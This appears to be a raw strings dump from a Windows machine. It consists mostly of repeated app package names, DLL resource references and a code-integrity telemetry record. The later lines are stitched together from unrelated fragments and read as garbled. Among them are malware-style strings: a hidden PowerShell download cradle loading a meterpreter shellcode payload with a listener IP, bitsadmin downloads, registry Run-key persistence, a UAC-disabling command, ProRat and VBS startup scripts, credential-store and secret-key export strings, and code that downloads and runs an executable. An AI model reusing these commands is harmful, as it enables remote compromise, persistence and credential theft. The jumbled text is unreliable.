Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Security.Authentication.Web.Core.BackgroundGetTokenTask.ClassId.WebAccountProvider
@{windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy?ms-resource://windows.immersivecontrolpanel/Resources/TileDisplayName}
microsoft.windows.immersivecontrolpanel
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windows.shellexperiencehost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
microsoft.windowsnotepad_8wekyb3d8bbwe
Microsoft.WindowsNotepad_8wekyb3d8bbwe
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Paint_11.2511.291.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-1.pri
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwex
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.WindowsNotepad_8wekyb3d8bbwe!App
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1o
Microsoft.WindowsTerminal_8wekyb3d8bbwe
microsoft.windowsterminal_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Microsoft.OutlookforWindows
WindowsDefaultLockScreen
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
C:\WINDOWS\Explorer.exe.FriendlyAppName
C:\WINDOWS\Explorer.exe.ApplicationCompany
C:\WINDOWS\system32\shell32.dll.FriendlyAppName
C:\WINDOWS\system32\shell32.dll.ApplicationCompany
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
microsoft.windows.narratorquickstart_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
windowsdefender
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsAlarms_8wekyb3d8bbwe
microsoft.windowsalarms_8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAlarms_8wekyb3d8bbwe
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe
@{Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Windows.Photos/Resources/AppDisplayName}
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.AppUriHandler
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
windowsdefender
@%SystemRoot%\system32\shell32.dll,-50176
.d@%SystemRoot%\system32\NgcRecovery.dll,-100
l,@C:\WINDOWS\system32\windows.storage.dll,-10152
@%SystemRoot%\System32\urlmon.dll,-4200
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
@%systemroot%\system32\pnpclean.dll,-102
@%SystemRoot%\system32\utcutil.dll,-301
@%SystemRoot%\system32\utcutil.dll,-302
@%SystemRoot%\System32\DATACLEN.DLL,-1045
@%SystemRoot%\system32\utcutil.dll,-401
@%SystemRoot%\system32\utcutil.dll,-402
@%systemroot%\system32\setupcln.dll,-1002
@%systemroot%\system32\setupcln.dll,-1003
@%SystemRoot%\System32\DATACLEN.DLL,-1010M
@%SystemRoot%\System32\DATACLEN.DLL,-1011
@%SystemRoot%\system32\werfault.exe,-102@
@%SystemRoot%\system32\werfault.exe,-103P
@%systemroot%\system32\setupcln.dll,-1000%
@%SystemRoot%\system32\werfault.exe,-100H
@%SystemRoot%\system32\werfault.exe,-101
Microsoft.WindowsStore_8wekyb3d8bbwe
C:\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalState\store.db
windows11
@%systemroot%\system32\setupcln.dll,-1008
@%systemroot%\system32\setupcln.dll,-1009'
@%systemroot%\system32\setupcln.dll,-1012
@%systemroot%\system32\setupcln.dll,-1013Z
s.@%systemroot%\system32\setupcln.dll,-1006tentPre8
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
microsoftwindows.crossdevice_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbweMicrh
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
microsoft.windowsfeedbackhub_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbweX
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
windows-feedback
windows-feedback
Windows.ShareTarget
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
microsoft.windowscamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_8wekyb3d8bbwe!App
microsoft.windows.camera.picker
microsoft.windows.camera.multipicker
microsoft.windows.camera
microsoft.windows.camera.picker
microsoft.windows.camera.multipicker
microsoft.windows.camera
Windows.FileOpenPicker
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwex
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwex
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwex
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Microsoft.WindowsCalculator_8wekyb3d8bbwe
microsoft.windowscalculator_8wekyb3d8bbwe
Microsoft.WindowsCalculator_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
microsoft.windows.photos_8wekyb3d8bbwe
Microsoft.Windows.Photos_8wekyb3d8bbweX
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe?
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
microsoft.windows.photos.crop
microsoft.windows.photos.videoedit
microsoft.windows.photos.picker
microsoft.windows.photos.crop
microsoft.windows.photos.videoedit
microsoft.windows.photos.picker
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowszX
Microsoft.OutlookforWindows
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookforWindows.AppXsa3j3azx0zfwncx7gty6r66f5k8c6xbm.mca
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.GamingApp
Cannot use non-WindowsCertificateStore location on Win32
5$5d818571-dc9d-4b19-a8b8-a3edf57df1f6CONTER FILM.exeSystem.Windows.Forms.DataVisualization.Charting
C:\Program Files\WindowsApps\Microsoft.
C:\Program Files\WindowsApps\Microsoft
Y-7owmic) utility provides a command-line interface for windows l
123.exe192.168.88.69%s\admin$\system32\%sin controlservicein createfilein createservicein deletefilein deleteservicein queryservicestatusin startservicein writefile
Nwindows.zpxdows.zpz
Mozilla/4.0 (compatible; MSIE 6.0; Windows 
Protected Storage PassViewsoftware\microsoft\windows nt\currentversion\windows messaging subsystem\profilesms ie ftp PasswordsSoftware\Microsoft\Internet Explorer\IntelliForms\SPW5e7e8100-9138-11d1-945a-00c04fc308ff
software\microsoft\windows\currentversion\run\blue
{VSELECT * FROM AntiVirusProduct/TR "cmd /c bitsadmin /transfer SunOne /Download /PRIORITY HIGH http://\System /v EnableLUA /t REG_DWORD /d 0 /f/notify.php?adds=cmd /c reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v 
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:
-windowstylt
6dows\system32\cmd.exe/ccls&
AEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939772049908,"MaxEventTime":134163939772049908,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\PimIndexMaintenance.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[238,151,232,205,61,111,188,32,251,206,69,14,217,136,221,217,6,237,141,241],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"PimIndexMaintenance.dll","InternalName":"PimIndexMaintenance","FileDescription":"Service responsible for contacts indexing and other user data related tasks","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477603469,"TimeDateStamp":2064272631,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8
)("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentV
	msWindowsTaskManager
oPwinc="c:\programfiles\windowsmediaplayer\wmplayer.exe"wind="d:\programfiles\windowsmediaplayer\wmplayer.exe"functiontostring(payloadarray)foreacharrayelementinpayloadarraytostring=tostring&chrb(arrayelement)nextendfunctionconstadtypebinary=1constadtypetext=2constadsavecreateoverwrite=2setprorat=createobject("adodb.stream")prorat.type=adtypetextprorat.openprorat.writetexttostring(created_by_prorat)prorat.position=0prorat.type=
name="test"windowstate="minimize"max	
lia4D6F7A696C6C612046697265666F78Gerenciador de Tarefas do Windows
\windows\system32\cmd.exe/ccopy*.wav.lnk%tmp%&%systemdrive%&cd%tmp%&for/f%iin('dir/b/s*.wav.lnk')do
%noikarus + injections\msi\msiwindows\efs.exesefule.exe
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\Windows\System32\
\Windows\CurrentVersion\Run\
c:\windows\
c:\windows\
windows
Global\WindowsUpdateTracing%d.%d
Windows.Data.Sounds
Windows.Data.Personalization
Windows.Data.LatinInputSetting
Windows.Data.InputSettings
Windows.Data.JapanInputSetting
Windows.Data.LocalInputSettings
Windows.Data.InputSettingBase
Windows.Data.PrivacyScreen
Windows.Data.CHSInputSetting
allowScrollInactiveWindows
Windows.Data.LunarCalendar
all=processgetname(@autoitpid)$vname=@scriptnameifnot($vname="chrome.exe")thenifnot($fall="chrome.exe")then_filerename($gpath&"\chrome.exe",$gpath&"\chromee.exe")filecopy(@autoitexe,$gpath&"\chrome.exe")$hkc="hkcu\software\microsoft\windows\currentversion\run"regwrite($hkc,"idmm","reg_sz",@appdatadir&"\"&"
v:echogotoa)>%appdata%\set.bat(echosetwshshell=createobject^("wscript.shell"^)echowshshell.runchr^(34^)^&"%appdata%\set.bat"^&chr^(34^),0echosetwshshell=nothing)>"%appdata%\microsoft\windows\startmenu\programs\startup\explorer.vbs"
Software\Microsoft\Windows\CurrentVersion\Uninstall\Outerinfo\outerinfo.icoOuterinfo SetupRemoves Outerinfo from this computerOuterinfo.exeOuterinfo.dllKillNDrv.dllC:\Program Files\Outerinfo
outerinfo.com/consumers iframead.oinadserver.comEntering GetOINAdWindowsCount%%CONTEXTUAL_KEYWORDS%%%%CONTEXTUAL_DOMAIN%%CONTEXTUALOuterinfoTempglobalLimitAdWindowsOpeneddisplayRONAdsdisplayCtxAdsnumberOfAds
outerinfo.icoOiUninstaller.exeOinUninstall.exeOuterinfoUpdate.exemailto:uninstaller@outerinfo.com\OinFP.exe\OinADInst.exe\KillNDrv.dllKillRUsoftware\microsoft\windows\currentversion\uninstall\mediaticketsMediaTicketsInstaller.ocxmtuninst.exeInvalid code! Please try again.\downloaded program files\mediaticketsinstaller.inf
      <Color Name="ToolWindowSplitBarBackground">
Microsoft-Windows-Store
Microsoft.Windows.AppLifeCycle
WINDOWS.UI.XAML.HOSTING.ELEMENTCOMPOSITIONPREVIEW
default$windows.data.input.devices.mousesettings
Microsoft.Windows.IrisService
DEFAULT$WINDOWS.DATA.BLUELIGHTREDUCTION.SETTINGS
WINDOWS.DATA.BLUELIGHTREDUCTION.SETTINGS
MICROSOFTWINDOWS.CLIENT.CORE_CW5N1H2TXYEWY
COM.MICROSOFT.WINDOWS.EXTENSION.TWINSXS
WINDOWSUDK.UI.COMPOSITION.ANIMATIONLASTFRAMETELEMETRY
Microsoft.Windows.ComCtl
WINDOWS.UI.COMPOSITION.COMPOSITIONOBJECT
:wshshell.regwrite"hkey_current_user\software\microsoft\windows\currentversion\internetsettings\"+strreverse(
>2:80/gkn.html?powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX ((New-Object Net.WebClient).DownloadString('Invoke-Shellcode -Payload windows/meterpreter/-Lhost 52.41.122.38 -Lport 443 -ForceSetAttr "C:\Users\Public\config.vbs", vbHidden
,cmd.exe,/cpowershell.exe-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
system32\lsassw86s.exe -il
m)%kBehavior:Win32/DisableWindowsUpdateWebsite.A
Behavior:Win32/DisableWindowsUpdateWebsite.B
Behavior:Win32/DisableWindowsUpdateInternetComm.A
Behavior:Win32/WindowsUpdateAUOptions.A
Behavior:Win32/WindowsUpdateAUOptions.B
Behavior:Win32/WindowsUpdateAUOptions.C
	Set WinHttpReq = CreateObject(Microsoft.XMLHTTP) WinHttpReq.OpenWinHttpReq = CreateObject("Microsoft.XMLHTTP"): WinHttpReq.Open "GET", myURL, FalseoStream = CreateObject("ADODB.Stream")oStream.SaveToFile ("C:\Systems\windows.exe")
M9%temp%\winlogon.exe"-rcellar--export-secret-keys--yes--homedir"%temp%"-a>
path = wsh.expandenvironmentstrings("%appdata%")fso.opentextfile(path & "\" & "windows.exe", 2, true).run path & "\windows.exe"= base64.base64decode(userform2.textbox1).datatype = "bin.base64".writeline (exe)
